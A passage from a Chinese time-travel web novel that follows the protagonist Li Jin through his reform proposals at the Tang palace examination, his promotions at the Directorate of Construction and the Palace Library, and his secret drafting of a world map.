于志宁沉吟片刻,出列道:“陛下,萧相所言,固是老成谋国之心。然臣细观李瑾之策,虽言辞大胆,立意新奇,然其核心,无非‘富国强兵’四字。其所言重农、兴工、通商、强兵、选才诸事,皆有所指,亦非全然空想。如‘改良农具’,‘周氏工坊’所出新犁,司农寺试用已有成效;‘新纸印刷’,崇文馆亦在试验;‘鼓励奇技’,其工坊所出‘明玻’,于国于民,岂无益处?其策虽有可商榷处,然一片忠君爱国、锐意进取之心,不可轻易抹杀。且其策论结构严谨,数据详实(部分),非泛泛空谈可比。臣以为,可择其可行者,徐徐图之。”
阎立本也道:“陛下,臣掌管将作,深知‘工’之重要。军械、农具、宫室、舟车,何一不赖百工?李瑾所言‘设署创新’、‘鼓励巧思’,若能善加引导,于国计民生,确有裨益。其‘开拓海洋’之议,虽显遥远,然我朝海船已通南洋,若能加强,于扬威、通商,未必无利。”
李勣(兵部尚书)抚须道:“强兵之要,在于精器、足饷、明略。李瑾所言改良军械、重视水师,确为兵家应虑之事。其策论中关于分化周边、战略布局之思,亦有可取之处。然具体如何,需慎之又慎。”
户部尚书则对“改革税制”、“开拓利源”最为关注,既觉其中或有增加收入之机,又担心推行不易,反生弊端,态度暧昧。
皇帝李治自始至终,静静听着众臣争论,目光深邃,看不出喜怒。待众人争论稍歇,他才缓缓开口:“诸卿之意,朕已明了。李瑾之策,确如萧卿所言,颇为惊人,亦如于卿、阎卿所言,不无可取。朕观其文,通篇以‘实’为要,以‘利’为引,以‘强’为的。其心可嘉,其志可勉。”
他顿了顿,目光扫过李瑾,又扫过众臣:“然治国非儿戏,不可骤行险着。李瑾。”
“臣在。” 李瑾出列躬身。
“你策论之中,‘工商亦为本’、‘开拓海洋’、‘改革税制’等语,牵涉甚广,争议极大。朕且问你,若依你之策,首重当从何入手?又如何避免萧卿所言之弊端?”
这是要李瑾当场答辩,也是给他一个进一步阐述和说服的机会。
李瑾深吸一口气,从容道:“陛下明鉴,诸位相公忧虑,臣亦深知。臣之策,非求一朝一夕全盘施行,乃为帝国长远计,指明方向。若论首重,臣以为,当从‘固本培元’与‘试验先行’入手。”
“其一,农事根本,绝不可动摇。改良农具、兴修水利、推广良种,此乃‘固本’,需全力推行。‘工商亦为本’,非谓舍农就商,而是以工补农,以商活农。如改良农具需工匠,售卖余粮需商贾。朝廷当做者,乃去除对正当工商业之无理压制,规范其行,引导其利国利民。”
“其二,开拓海洋、改革税制等事,确需慎之又慎。可先行试点。如海外贸易,可先强化广州、泉州两市舶司,以官船为主,尝试组织一两次大规模远航,探寻新航路、新市场,记录利弊。改革税制,可先对利润极高、且易监管之新兴行业(如高档琉璃),试行‘特别税’,税率从轻,观察效果。所谓‘改革’,绝非横征暴敛,而是建立更合理、更可持续的取予之道。”
“其三,鼓励创新、设立专司,可立即着手。于将作监下设‘百工创新署’,规模不必大,经费不必多,专司收集、验证民间有益巧技,给予发明者名誉与物质奖励,并协助其与官府合作推广。此乃播种之举,所费有限,而未来收获或不可限量。”
“其四,至于水师、军械,乃国之重器,更需稳步推进。可先拨专款,命将作监、军器监,依李尚书(李勣)之意,研究改良现有军械,尤其是利用新钢,提升刀甲弓弩之质。水师方面,可先加强现有战船维护,训练水手,绘制更精细之海图,储备航海人才。待国用稍裕,海外通商见效,再图扩建不迟。”
“总之,臣之策,核心在务实、渐进、利民、强基。不求速成,但求方向正确;不避争议,但求实效说话。若因有弊端可能,便因噎废食,则国家何以进步?若因言论新奇,便一概斥为‘祸·国’,则贤路何以广开?臣愿以‘周氏工坊’为试验田,以将作监为推行所,为陛下,为朝廷,试行诸策之可行者,以实效证臣之言,以时间验臣之志!”
李瑾这番答辩,有退有进,既承认了改革的复杂性与风险,又明确了渐进、试点的务实路径,并将自己与工坊、将作监绑定,主动请缨承担“试验”之责,态度诚恳,思路清晰,极大地化解了部分“激进”、“空想”的指责。
殿内再次陷入寂静。众臣都在消化李瑾的话。连萧瑀也暂时语塞,因为李瑾并未坚持立即全面推行那些“骇人”之策,而是提出了相对稳妥的“试点”思路,难以直接扣上“祸·国”帽子。
皇帝李治的眼中,赞赏之色愈浓。他需要的就是这种既有远大构想、又有务实步骤的臣子。李瑾的策论与答辩,展现的不仅仅是“奇思”,更是难得的“实干”精神与“担当”勇气。
“李瑾,” 李治终于开口,声音沉稳而有力,“你这份《固本培元……长策疏》,朕看了三遍。其言虽惊,其心可悯,其志可嘉。你所倡‘务实、渐进、试验’,更是老成谋国之言。朕,准你所奏。”
“于卿、阎卿、李卿(李勣)。” 他看向几位大臣,“着即由你们三部(东宫、将作监、兵部)会同户部、工部,就李瑾所提‘试点’诸事——改良农具推广、百工创新署设立、军械研究、水师人才储备、市舶司强化等,拟定详细章程,报朕御览。至于‘工商亦为本’、‘开拓海洋’等大政方针,可令朝野继续议论,朕亦将斟酌。”
“至于今次制科……” 李治目光扫过殿中众臣,最后落在李瑾身上,“李瑾策论,识见超卓,对策详明,切中时弊,勇于任事,当为头名。其余士子,着礼部、吏部从速评定等第,量才录用。”
殿试献国策,一鸣惊天下!李瑾不仅以一份超越时代的策论震撼朝堂,更以其务实的答辩赢得了皇帝的认可与支持。虽然前路依然荆棘密布,争议不会停息,但他已成功地将“发展工商”、“开拓海洋”、“重视科技”等理念,正式带入了帝国最高决策层的视野,并获得了“试点”的许可。
走出两仪殿,春日的阳光明媚而温暖。李瑾知道,属于他的时代,正随着这份殿试头名的荣耀与皇帝赋予的“试验”之权,缓缓拉开序幕。而他要走的路,注定是一条充满挑战、也充满无限可能的开拓之路。
第54章 钦点探花郎
殿试策论的余波,如同春日里骤起的旋风,席卷了整个长安官场与士林。李瑾那份《固本培元、开源拓疆、文武兼济以成盛世之长策疏》的核心内容,虽未全文公布,但其中“工商亦为本”、“开拓海洋”、“改革税制”、“鼓励创新”等石破天惊的论点,早已通过那日两仪殿中与会重臣、侍从之口,以各种添油加醋、或断章取义的版本,飞速传播开来。朝野上下,为之哗然,为之沸腾,亦为之震怒、警惕、兴奋、沉思。
支持者拍案叫绝,视李瑾为冲破陈腐、锐意进取的“国士”,其策论虽显激进,却直指时弊,为看似鲜花着锦、实则隐患暗藏的大唐盛世,敲响了警钟,指明了新路。尤其是那些苦于晋升无门、认同“实学”的寒门士子、中下级技术官僚、部分有远见的将领和商人,更将李瑾引为同道与希望。
反对者则怒不可遏,视其策论为“祸·国妖言”、“动摇国本”。以萧瑀为首的传统清流、经学世家、以及某些利益可能受损的既得利益集团(如部分保守的盐铁专卖把持者、对海外贸易持疑的官员),纷纷上疏,或在各种场合抨击。他们抓住“重商轻农”、“好大喜功”、“与民争利”、“擅启边衅”等罪名,口诛笔伐,甚至有人暗中串联,准备在接下来的发榜、授官等环节,给李瑾制造麻烦,阻挠其“试点”计划。
然而,皇帝李治的态度,经过那日两仪殿的当面奏对,已趋于明朗。他对李瑾的欣赏与支持并未因反对声浪而动摇,反而因其“务实、渐进、试验”的答辩,更加坚定。他需要李瑾这样的“锐气”与“实才”,来平衡朝中暮气,试探新的可能性。皇帝的默许甚至鼓励,成为李瑾及其支持者最坚实的后盾,也让反对者不敢过于明目张胆。
三月十五,礼部南院,贡院之前,人山人海。今岁“洞识韬略、明于吏治、通晓实务”制科的发榜之日,吸引了比往年进士科发榜时更多、更复杂的目光。不仅有翘首以盼的考生及其亲友,更有各怀心思的朝臣家仆、打听风声的商贾、以及闻讯而来想一睹“风云人物”的市井百姓。
辰时三刻,礼部官员在兵丁护卫下,郑重捧出黄榜,张贴于高墙之上。人群顿时如潮水般涌上。
“中了!我中了!”
“唉……又落榜了……”
“快看!头名!头名是——李瑾!”
“李瑾?可是那位献牛痘、献明玻、又上殿试奇策的李少监丞?”
“正是他!陛下钦点头名!‘通晓实务’科榜首!”
惊呼声、议论声轰然炸响。李瑾高居榜首,毫无悬念,却又在众人心中激起千层浪。紧随其后的第二名,是那位精于律法的寒士徐有功;第三名,竟是工部一位原本默默无闻、却对水利营造有独到见解的中年主事;张遂、姜师度、韦讯等人亦名列前茅,皆在十名之内。“墨香茶舍”的寒门才俊,竟有近半数登榜!这无疑是对“实学”价值的一次有力肯定,也是对李瑾“科举改制”理念的侧面印证。榜单之上,寒门与中下层官吏的比例远超往年常科,令许多有心人暗自心惊。
消息如旋风般传开。崇仁坊李宅门前,很快被闻讯前来道贺的官员、士子、商贾以及各路打探消息之人围得水泄不通。李福带着仆役在前门应对,忙得脚不沾地。李瑾却并未露面,他早知此结果,此刻正在宅内密室,与匆匆赶来的王掌柜密议。
“公子高中榜首,实至名归!” 王掌柜满面红光,却又隐含忧色,“然外间喧嚷,贺者如云,谤者亦如云。萧府那边,今日虽也派人送了例行的贺帖,然其门下几位御史,已然在串联,似乎要在‘官诰’、‘授职’上做文章。还有,工坊那边,近日有几拨生面孔在周围转悠,似在打听匠人待遇、物料进出,恐是有人想从工坊寻公子错处。”
“意料之中。” 李瑾神色平静,“发榜只是第一步,授官才是关键。陛下虽有意用我,然朝廷官职,自有制度规矩。萧瑀等人必会在此处设阻,或抬高门槛,或塞入闲职,或分权制衡。工坊那边,加紧防备,账目、人事、安全,务求滴水不漏。至于贺客……” 他略一沉吟,“除于公、阎公、杜侍郎、许尚书等几位必须亲自接待的,其余一概由李福以‘新科及第,诸事未定,不敢受贺’为由婉拒。礼物一概不收,贺帖登记在册即可。我们越低调,越守规矩,对手越难找到攻讦的借口。”
“老朽明白。” 王掌柜点头,“还有一事。‘墨香茶舍’那几位登榜的士子,徐有功、张遂、姜师度等,今日皆递了拜帖,想当面谢过公子提携之恩。他们此刻暂居城南客栈,听闻已有别家派人前去接触,许以厚利……”
“他们能中,是其自身实学所致,我不过提供了些见解与平台,何来提携?” 李瑾摆摆手,“但他们此时来谢,是知恩,也是表态。眼下人多眼杂,不宜相见。你可暗中派人,以我的名义,给他们各送一份程仪(路费),并附言:‘榜上有名,仅是起步。望守实学初心,砺经世之志。长安水深,静候佳音。’ 让他们安心等待吏部安排,勿受外间干扰。至于接触之人,不必阻拦,也不必提醒,且看他们各自心志。”
王掌柜心领神会,这是既示好,又考验。若这几人真为利所动,也非真正同道,早早看清也好。
接下来数日,围绕制科及第者的“关试”(吏部考核)与授官,朝堂上展开了一场没有硝烟的激烈博弈。萧瑀一系极力主张,制科乃特科,不同于常科进士,及第者不宜立即授予清要或实权职位,应先派往地方或诸司担任副贰、参军事等佐官,历练数年,再行提拔。其用意显而易见:将李瑾等人调离京城,远离权力中心,使其“试点”计划无从着手,并置于地方复杂环境中,稍有不慎便可揪住错处。
于志宁、阎立本等人则针锋相对,认为既是陛下特开“通晓实务”科,取用实才,自当量才授职,使才尽其用。尤其李瑾,已在将作监少监丞任上卓有建树,更献强国长策,岂能外放或闲置?当晋其职,使其能统筹推进已获陛下首肯的诸项“试点”事宜。
双方在御前、在政事堂争论不休。皇帝李治则稳坐钓鱼台,任由双方争执,似乎难以决断。直到三月廿一,大朝之日,李治终于颁布了关于今科“通晓实务”制科及第者授官的敕书。
敕书由中书舍人当殿宣读。对于大多数及第者,基本采纳了“先任佐官历练”的建议,徐有功授大理寺评事(从八品下),张遂授司天台丞(从七品上,属技术官),姜师度授都水监主簿(从八品上),韦讯授太医署医监(从八品下)……皆是根据其专长,授予了相应的、品阶不高但有实务空间的职位,算是折中。
而到了李瑾,宣读的宦官提高了声调:“……制科头名李瑾,器识宏远,学综古今,屡献嘉谟,朕所深知。前以将作监少监丞,协理百工,已有成效。今特晋为将作监少监(从四品下),仍兼崇文馆直学士,赐绯服、银鱼袋。专司督办朕前所允之‘百工创新’、‘农具改良推广’、‘军械研议’、‘水师人才储备’诸试点事宜,可随时奏对。望其恪尽职守,务实进取,以副朕望。钦此。”
将作监少监!从四品下!虽仍是“少监”,但去掉了“丞”字,意味着从佐官升为了正印官之一,正式成为将作监的三位主事者之一(监正、两位少监),有了独立的衙署、属官和更大的决策权!更关键的是,“专司督办……诸试点事宜,可随时奏对”,这等于将皇帝口头允诺的“试点”权,以敕书形式正式赋予了李瑾,并给了他“随时奏对”的特权,使其能直接向皇帝汇报进展,绕过部分中间环节的掣肘!
这份任命,显然没有完全满足于志宁等人“授予更高清要”的期望,但也绝不是萧瑀等人希望的“外放闲置”,而是给予了李瑾一个在专业领域内拥有实权、能直接推进其理念、且与皇帝保持紧密联系的平台。将作监少监,品阶不算最高,但职权具体,正适合李瑾发挥其“实学”与“工技”之长。皇帝在双方诉求之间,找到了一个精妙的平衡点,既重重酬赏了李瑾,兑现了支持其“试点”的承诺,又未过分刺激反对派,将其升迁限制在“技术官僚”的范畴内,暂时避免了过早将其推入更高层的权力漩涡中心。
至于“赐绯服、银鱼袋”,更是荣耀的象征。唐代官员服色依品级而定,四品服深绯,五品服浅绯。李瑾以从四品赐绯,是符合制度的荣耀。银鱼袋则是五品以上官员出入宫门的信物,也是一种身份标识。
朝堂之上一片寂静,随即响起低低的议论声。萧瑀脸色阴沉,却也无法再公开反对——皇帝在敕书中明确了李瑾的职责是“督办试点事宜”,这都是御前议定之事,且将其职务限定在将作监,并未涉及其它要害部门。于志宁等人则稍感欣慰,虽然未得最理想的安排,但李瑾总算获得了与其才能相匹配的实权职务和明确的任务,可以大展拳脚了。
“臣,李瑾,领旨谢恩!吾皇万岁,万岁,万万岁!” 李瑾出列,在无数道目光注视下,郑重叩拜,接过那卷沉重的敕书。心中并无太多激动,只有一片澄澈的清明与沉甸甸的责任。他知道,这道敕书,不仅仅是一纸任命,更是皇帝对其理念的背书,对其能力的考验,也是将其正式推向大唐帝国技术革新与实业发展前沿阵地的战书。
“探花郎”的荣耀(唐代进士前三名称状元、榜眼、探花,制科头名亦尊称“探花”),此刻对他而言,已不仅仅是金榜题名的风光,更是开启一段全新征程的起点与凭证。
散朝之后,祝贺之声再次如潮水般涌来。李瑾谦逊应对,对萧瑀等反对派大佬亦执礼甚恭,毫无骄矜之色。他深知,真正的挑战,现在才刚刚开始。
回到府中,李福早已准备好簇新的绯色官袍、银鱼袋以及相应的舆服器具。李瑾换上官袍,铜镜之中,一位身着绯袍、腰悬银鱼、气度沉凝的年轻官员身影清晰可见。与一年前那个初入长安、身着青衫的落魄宗室子,已然判若两人。
“公子,不,少监大人,如今是真正的朝廷命官了!” 李福喜极而泣。
“李福,官身不过是副皮囊,做事才是根本。” 李瑾整理着衣袖,语气平静,“备车,我要去将作监衙门。还有,让王掌柜来见我,试点诸事,需立刻着手规划。”
“是!”
坐在前往将作监的马车上,李瑾闭目沉思。将作监少监的职位,给了他名分与权力,但如何运用这权力,在错综复杂的官僚体系与利益网络中,稳妥、有效地推进那些“试点”,才是真正的难题。他需要尽快熟悉将作监的内部人事,建立自己的办事班底,与工坊的协作也需升级到更规范的官方层面。皇帝允诺的“百工创新署”必须尽快搭建起来,成为汇聚、孵化“奇技”的核心平台。农具改良的推广,需要与司农寺紧密合作。军械研议,则需与兵部、军器监协调,其中分寸拿捏,至关重要。水师人才储备,更是长远之计,需从招募、培训、航海知识整理等多方面入手……
千头万绪,但目标清晰。他睁开眼,目光透过车帘缝隙,望向巍峨的皇城。从“钦点探花郎”到真正实现胸中抱负,路还很长,但他已手握更利的剑,踏上了更实的路。
马车驶入将作监衙门,守卫的士卒见到这位新晋的绯袍少监,纷纷肃然行礼。李瑾微微颔首,迈步而入。他知道,这方天地,从今日起,将因他而不同。
而长安城的目光,也将更紧密地聚焦于此,聚焦于这位以“奇技”与“实学”踏入仕途、被皇帝钦点为“探花”、肩负着“试点”重任的年轻少监身上。未来的朝堂风雨,帝国变革,或将由此人,由此处,渐次展开。
第55章 入职秘书省
将作监少监的绯色官袍,似乎还带着新制的挺括与荣光,穿在李瑾身上不过旬日,便已沾染上了工坊的烟火气与衙署的墨香。皇帝敕书中“专司督办诸试点事宜”的授权,如同尚方宝剑,让李瑾得以在将作监乃至相关衙署间迅速打开局面。他行事雷厉风行却又章法严谨,甫一上任,便依照敕书所列条目,逐项落实。
“百工创新署”的筹建是重中之重。李瑾以将作监名义行文天下,征召“奇技巧思”,并迅速在将作监内划拨出一处独立院落,挂牌“百工创新署”,自兼署令。他调来了工坊的鲁平、郑师傅、方竹等人作为技术顾问(以“借调”名义),又从将作监内部选拔了几名年轻、肯钻研的吏员和匠官,构成了核心班底。创新署的章程是李瑾亲自拟定,明确其职能为“搜集、验证、记录、奖掖、推广民间有益之新器、新法、新技”,并建立了“呈报-评议-试验-奖掖-推广”的流程。初期征集到的“奇技”五花八门,有改良水车、新式纺机、省柴灶、甚至一种据说能治腹痛的草药配方。李瑾不厌其烦,组织人一一评议,能现场试验的便在署内小工坊试验,有价值的给予铜钱、绢帛乃至“将作监嘉奖文书”作为奖励,并记录在专门的“创新簿”上。虽然多数成果粗浅,但此举本身传递的信号极为重要——朝廷开始正式、系统地关注和鼓励技术创新。消息传开,不少民间巧匠和不得志的“技术宅”怦然心动,前来呈报或打探者络绎不绝。
农具改良推广,则需与司农寺协同。李瑾主动拜访了司农寺卿,呈上工坊新制钢犁、镰刀的详细数据和司农寺之前的试用报告,提议在关中、河东、河北等地挑选十余处有代表性的官田或皇庄,进行更大范围的对比试验,并由将作监和司农寺共同派员,记录数据,培训农人使用和保养。司农寺卿对能提高效率的新农具本无抵触,又见皇帝敕书明确,便欣然同意,双方很快联合发文,启动了“新式钢制农具扩大试用”计划。
军械研议最为敏感。李瑾没有大张旗鼓,而是先以将作监内部“例行查验、维护军器图谱档案”的名义,调阅了兵部、军器监部分非核心的军械图纸和记录,并让工坊的钱匠师、赵匠师等,在绝对保密的前提下,开始研究如何利用高炉钢改进刀剑的韧性与硬度,以及探索铸造更精良的弩机部件。同时,他通过于志宁,向兵部尚书李勣递了话,表达了“愿为强兵略尽绵薄,听候驱策”的意思,态度恭谨,只提技术支援,不涉具体军务,分寸拿捏得极好。
水师人才储备更是长远布局。李瑾让王掌柜通过海商,重金招募了几位经验丰富的岭南老舵工、波斯导航员(“蕃客”),以“顾问”名义安置在工坊,请他们口述航海见闻、星象导航、季风规律、海图绘制等知识,由识字的匠人或账房记录整理,形成初步的“航海备要”。同时,他也向将作监下属的舟楫署打了招呼,关注各地船厂有无善于建造海船或精通水战的匠人、水手,暗中留意。
就在李瑾于将作监这个“专业”平台上,有条不紊地推进各项“试点”,逐渐将理念转化为具体行动,并初步建立起一套运作机制时,一道新的、意义非凡的任命,再次从宫中传出,打破了这种相对“专注”的状态。
四月初一,大朝。在例行的政事奏对之后,皇帝李治忽然开口:“朕观秘书省近来典校图籍、起草诏诰,事务繁剧。今有制科头名、将作监少监李瑾,博闻强识,通晓古今,可堪文翰之任。着加李瑾为秘书省校书郎(正九品上),仍兼将作监少监、崇文馆直学士,即日入职秘书省,参校典籍,以备顾问。钦此。”
秘书省校书郎!
这道任命,看似只是给李瑾增加了一个品阶不高(正九品上)的兼职,但其象征意义与实际影响,却远比品阶本身重大得多。
秘书省,与门下、中书二省并称“三省”,虽在唐代其出令权被削弱,但仍是帝国最重要的中枢机构之一,掌“邦国经籍图书之事”,起草部分诏令,撰修国史,更是皇帝身边的“文翰侍从”和“顾问”储备库。秘书省官员,尤其是校书郎、著作郎等,素有“清要”之名,地位超然,非文学优长、见识出众者不得入。许多宰相重臣,如房玄龄、魏征、褚遂良等,皆有在秘书省任职的经历。这里,是进入帝国最高决策圈最经典的“预备班”和“快车道”。
皇帝将李瑾这个以“奇技”、“实学”闻名的“技术官僚”,突然调入秘书省,其用意耐人寻味。这绝不仅仅是看中其“博闻强识”,更是有意将其从相对专业的“将作监”领域,拉入更核心的“文翰”与“顾问”圈子,使其能接触到更广泛的政经信息,参与更高层次的议论,为其“试点”提供更宏观的视野和支持,也是对其政治素养与全局能力的进一步培养和考察。简而言之,皇帝在给李瑾铺路,让他从“专才”向“通才”,从“技术官员”向“政治官员”过渡。
这道任命,再次在朝堂激起波澜。萧瑀一系对此反应尤为激烈。在他们看来,李瑾入秘书省,简直是“清流”之耻!一个整天与工匠、炉火、算盘、海图打交道的人,如何能与经史文章、典章制度为伍?这无疑是玷污了秘书省这块“清贵之地”。数名言官当即上疏,以“名实不符”、“淆乱清浊”为由表示反对。然而,皇帝这次态度坚决,以“朕自有裁量”、“李瑾屡献嘉谟,文翰亦称优长”为由,将反对意见驳回,明确表示了对其的信任与期许。
于志宁、阎立本等人则是既喜且忧。喜的是皇帝对李瑾的栽培之意明显,前途无量;忧的是秘书省水更深,人际关系更复杂,李瑾那套“实学”做派,能否被那些清高自许的秘书省官员接受?会不会遭遇更隐蔽的排挤?
李瑾本人接到旨意,心中明镜一般。他跪谢天恩,脸上并无太多意外之色。这段时间他在将作监的作为,以及与皇帝“随时奏对”的特权,使他能隐约感觉到皇帝对自己的定位,绝不仅仅是一个“工头”或“技正”。进入秘书省,是意料之外,却也在情理之中。这既是机遇,能让他接触到帝国的核心机密与运作,了解顶层设计,为自己未来的布局提供更精准的坐标;也是挑战,他必须尽快适应新的角色,在维持“实学”根本的同时,弥补自身在传统经史、文翰、典制方面的“短板”(至少表面上不能有明显缺陷),并处理好与秘书省同僚的关系。
散朝后,于志宁特意将李瑾叫到一旁,低声嘱咐:“秘书省不比将作监,那里多是饱学宿儒、名门之后,讲究的是风仪、辞章、渊源。你此去,多看、多听、多学,少说、少争、少显。遇有争议,可多请教秘书监、少监。陛下既让你‘参校典籍,以备顾问’,你便尽心做好校书郎的本分,将你那套‘实学’,暂且收一收,时机未到,不必强求。记住,和光同尘,方能行远。”
“下官谨记于公教诲。” 李瑾躬身应道。他知道于志宁是真心为他好,提醒他初入新环境要低调、要学习、要融入。
当日午后,李瑾便换上了校书郎的青色官袍(正九品上服青),前往位于皇城承天门街东侧、门下省北邻的秘书省衙门报到。
秘书省衙门气象与将作监截然不同。少了匠作区的喧嚣与烟火,多了几分静谧与书香。庭院深深,古柏参天,廊庑下堆满书卷的库房隐约可见,空气中弥漫着纸张、墨香与陈旧典籍特有的气息。来往的官吏,无论年长年少,大多举止从容,谈吐文雅,带着士人特有的清贵气质。
李瑾首先拜会了秘书监(从三品)和两位秘书少监(从四品上)。秘书监是位年过六旬、德高望重但已不太管具体事务的老臣,对李瑾这个“陛下特简”的校书郎只是例行勉励几句。两位少监,一位姓孔,出自山东孔氏,以经学见长,态度温和但保持距离;另一位姓王,出身太原王氏,文采风流,对李瑾这个“奇人”似乎颇有兴趣,问了几句关于“明玻”、“新纸”的事,但也仅限于好奇。
接着,李瑾被引至“著作局”(秘书省下属机构,掌修国史、撰碑志等,校书郎多在此轮值)所在的院落,与同僚们见面。著作局内约有校书郎、正字等官员十余人,见李瑾到来,神色各异。有好奇打量者,有不屑一顾者,也有面无表情、例行公事者。一位年约四旬、资历最深的校书郎负责为李瑾介绍情况,安排具体事务。
“李校书,既入著作局,便需知晓规矩。吾等职责,主要是校勘秘书省所藏图籍,纠谬补缺,撰写提要。另有修史、撰碑之务,由上官分派。你新来,可先从基础的校书做起。此处是部分待校的《汉书》及注疏,你先拿去看,按格式校雠,若有疑义,可标注出来,大家商议。” 资深校书郎指着一堆高高的书卷,语气平淡。
李瑾拱手道谢,并无异议。他知道,这是给他这个“新人”的下马威,也是最基础的考验。校书看似枯燥,却最能体现一个人的学识功底、耐心和严谨程度。若连这关都过不了,以后在秘书省更难立足。
他当即在分配给自己的那张靠窗的书案后坐下,铺开纸张,备好笔墨,取过一卷《汉书》,开始一字一句地校读起来。他拥有超越时代的见识,对唐代典籍的具体细节或许不如这些皓首穷经的专家,但他逻辑清晰,思维缜密,对文字、史实、典章制度的理解常有独到角度。加之他性情沉静,耐心极佳,很快就沉浸其中,遇到不确定或疑似有误之处,并不妄下断语,而是先用小字标注在一旁,并查阅相关工具书(如《说文解字》、《尔雅》等)和其他版本。
他的专注与沉稳,渐渐让一些原本带着审视目光的同僚稍感意外。原以为这个以“奇技”闻名的家伙会心浮气躁、不堪此任,没想到竟能坐得住冷板凳,而且看其标注,虽偶有“新奇”之见,却也并非毫无根据的臆断。
数日下来,李瑾准时点卯,埋首校书,寡言少语,对同僚客气有礼,绝口不提将作监事务,更不显摆任何“奇谈怪论”。闲暇时,他也主动向几位学问扎实的同僚请教典籍疑难,态度诚恳。渐渐地,著作局内那种隐隐的排斥与疏离感,淡去了不少。至少,表面上的和气是维持住了。
然而,李瑾并未真的将自己局限于故纸堆。他有“以备顾问”的职责,这意味着他有机会接触到更广泛的政务信息。他利用校书郎可以调阅秘书省大量藏书(包括部分前朝档案、地理图志、外藩记录)的便利,开始有目的地搜集、阅读关于海外诸国、边疆地理、物产民俗、历代经济政策、乃至军事地理的记载。他让李福从宫外悄悄带来一些工坊整理的海商见闻录、以及张遂等人帮忙绘制的初步星图、简易海图草图,在值房内秘密对照、补充、修正。
他敏锐地发现,秘书省所藏的“外藩图志”大多陈旧、模糊,且充满神话想象色彩,对西域以西、南海以南的记载更是语焉不详。而海商带来的信息虽然零碎,却更加具体、鲜活。一个大胆的想法,开始在他心中酝酿——他要利用秘书省的条件和皇帝“以备顾问”的许可,系统整理、绘制一幅超越这个时代认知的、尽可能准确的“世界寰宇图”,并以此为基础,向皇帝和朝廷,更直观、更有力地阐述他的“开拓海洋”、“经略四方”战略。
这需要时间,需要更多的资料,也需要极为谨慎的操作。他必须继续扮演好“校书郎”的角色,赢得更多同僚的认可,甚至获得秘书省长官的些许支持,才能更顺利地调用资源,进行这项秘密而又意义非凡的工作。
白日,他是埋首古籍、沉稳谦逊的秘书省校书郎;夜晚,他是指点工坊、规划“试点”的将作监少监;而在更深的静夜,他则是那个凭借千年智慧、悄然为这个帝国描绘全新世界图景的孤独先行者。
入职秘书省,对李瑾而言,不是离开了“实学”的阵地,而是登上了一个能瞭望更远、谋划更深的瞭望塔。在这里,他将把“实学”的根基,与“经世”的视野结合起来,为下一次更震撼的“献礼”,积蓄力量。
长安的春意渐浓,秘书省庭院的古柏也抽出新绿。李瑾坐在书案后,窗外光影移动,映照着他沉静而专注的侧脸。手中朱笔在校勘一本《西域图记》,脑中却在勾勒着万里波涛与陌生大陆的轮廓。两种身份,两个世界,在此刻,在这个年轻的穿越者身上,奇异地交融,并指向同一个充满挑战与希望的未来。
第56章 献世界寰宇图
夏日的骄阳,炙烤着长安城的琉璃瓦,也将秘书省幽深的庭院蒸腾出草木与陈墨混合的、略带苦涩的香气。自四月入职以来,李瑾在著作局那张靠窗的书案后,已静坐了近三个月。时光如水,悄然流逝,带走春寒,带来酷暑,也带走了著作局同僚们对他这个“奇技校书”最初的审视与疏离。如今的李瑾,在众人眼中,已然是著作局一位“沉稳勤勉、学问扎实、偶尔有些新奇见解但不失分寸”的合格同僚。他按时点卯,埋首校勘,参与修撰部分起居注的辅助工作,闲暇时也与同僚探讨经义、品评诗文,甚至能就某些历史地理问题提出令人耳目一新的见解,赢得了几位较为开明的同僚的尊重。他几乎不再主动提及将作监的事务,只在皇帝偶尔召见“以备顾问”时,才会条理清晰地汇报各项“试点”进展,言语间也尽量贴合秘书省“文翰”语境,将“奇技”包装成“先王制器利用之遗意”的发扬。这种低调、务实、善于学习的姿态,让他在秘书省这个清贵之地,初步站稳了脚跟。
然而,无人知晓,在这平静的表象之下,一场静默的、跨越时空的知识汇集与重构,正在李瑾的书案、值房乃至崇仁坊宅邸的密室中,昼夜不停地进行。白日,他是勤勉的校书郎;夜晚与休沐,他则是那个胸藏寰宇、意图以一幅图卷震撼整个时代的孤独绘图者。
借助秘书省校书郎可以调阅大量秘藏图籍档案的特权,李瑾系统梳理了自汉代张骞“凿空”以来,历代正史、野史、行记、僧人求法传中关于西域、天竺、波斯乃至更远“大秦”(罗马)的地理、物产、风俗记载。他仔细比对了裴矩的《西域图记》、玄奘的《大唐西域记》(此时应已开始撰写或已有草稿流传)、贾耽的《陇右山南图》(此时或未成)等当世地理佳作,也翻阅了前朝《水经注》中关于南方水系的描述。同时,他让王掌柜通过海商网络,不惜重金,持续搜集来自波斯、大食、天竺、乃至传闻中“狮子国”(斯里兰卡)、“婆罗洲”等地海商、水手、传教士(景教、祆教等)口述或零散记录的航海见闻、星图、简陋海图,以及关于更南方“黑色大陆”(非洲)、东方“扶桑”(日本)之外大洋的传说。工坊招募的几位老舵工和波斯导航员,也被要求反复回忆、核实航线、季风、岛屿、洋流等细节。
所有的信息,如同万千条溪流,源源不断地汇入李瑾这个特殊的“处理器”。他以超越时代的全球地理框架为骨,以唐代已有的可靠记载为肉,以海商带来的零碎信息为补充和修正,以逻辑推理和合理想象(如根据季风、洋流推断航行可能性,根据物产分布推测气候带)来填补空白,开始在心中,也在特制的、拼接而成的巨幅桑皮纸上,一点点勾勒、描绘、标注。
这是一项极其浩大而精细的工程,也是对李瑾记忆力、分析力、绘图技艺以及保密能力的极致考验。他不能直接画出美洲、澳洲的精确轮廓,那太惊世骇俗,也无法解释来源。但他可以依据海商关于“向东无尽之海”的模糊传说,以及隐约的“流鬼国”、“夜叉国”等记载,在东海以东、日本列岛更东的浩瀚大洋中,以虚线勾勒出大片未知的陆地阴影,旁注“闻有巨陆,地广人稀,物产奇瑰,航路未明,待考”。对于非洲,他可以根据波斯商人沿东非海岸南下的见闻,以及关于“昆仑奴”来源的模糊指向,大致画出非洲大陆的轮廓,尤其是好望角以北相对熟悉的东西海岸线,并标注“黑壤大陆,其南或有海峡可通大西海(大西洋)”。
欧亚大陆是他着墨最重、也相对最准确的部分。他清晰地标出了大唐的疆域(包括安西、北庭都护府),吐蕃、突厥(此时已分裂)、回纥、吐谷浑、高句丽、百济、新罗、日本等周边政权的位置。丝绸之路的几条主要干道(北道、中道、南道)蜿蜒西去,穿过中亚诸国,直抵波斯、大食(阿拉伯帝国),并延伸至拂菻(东罗马帝国)。他特别突出了里海、黑海、地中海的位置,以及连接红海、地中海的“西奈地峡”(未开普苏伊士运河)。对于天竺(印度),他区分了五部(东、西、南、北、中),并标出了那烂陀寺等重要地点。
